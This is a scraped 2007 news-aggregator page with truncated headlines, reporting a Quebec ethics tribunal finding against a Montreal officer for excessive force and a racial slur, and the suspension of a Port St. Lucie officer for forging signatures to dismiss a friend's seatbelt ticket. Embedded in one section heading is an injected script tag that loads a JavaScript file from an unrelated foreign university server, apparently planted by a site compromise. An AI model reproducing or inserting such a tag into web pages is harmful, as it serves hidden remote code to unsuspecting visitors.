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NEWS > 26 July 2007

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Canada: Cop used excessive for
The Quebec Police Ethics Committee has found a former Montreal police officer guilty of using excessive force and calling a black suspect a racial epithet while arresting him.

The committee, which functions as a tribunal, cleared Constable Nicolas Morin of other complaints because of contradictory testimony.

This was not Morin's first run-in with the law. He was suspended for 60 days without pay in 2007 for using excessive force and falsely accusing a suspect. Six months later, he was fired for various human resources issues and is appealing. He is also appealing the ethics c... Read more

 Article sourced from

Port St Lucie Police Departmen<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Palm Beach Post - FL, United S
26 July 2007
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To view it in its entirity click this link.
Port St Lucie Police Departmen

PSL police officer suspended f

PORT ST. LUCIE — A veteran Port St. Lucie police officer was suspended for forging the signatures of a coworker and supervisor to dismiss a friend's traffic citation, records show.

Officer Robert Arensen, 35, a 9-year officer, was suspended 20 days without pay and is required to complete a ethics training within one year, according to a July 5 disciplinary recommendation from Port St. Lucie Police Chief John Skinner.

The State Attorney's office is considering whether to bring criminal charges.

According to an internal affairs investigation report, Officer James Becker issued the dismissed ticket, a seatbelt citation, to Aquiles Maruri on April 23, 2007. On June 7, Becker learned the citation had been dismissed.

The investigation found that Arensen submitted a citation dismissal form to the St. Lucie County Clerk of Courts Office on May 30. On the form, Arensen had forged the signatures of both Becker and a supervisor, Sergeant Marc DiMeo, without either knowing, according to the report.

The investigation did not find that Arensen received any compensation for dismissing the ticket, the report said.

 

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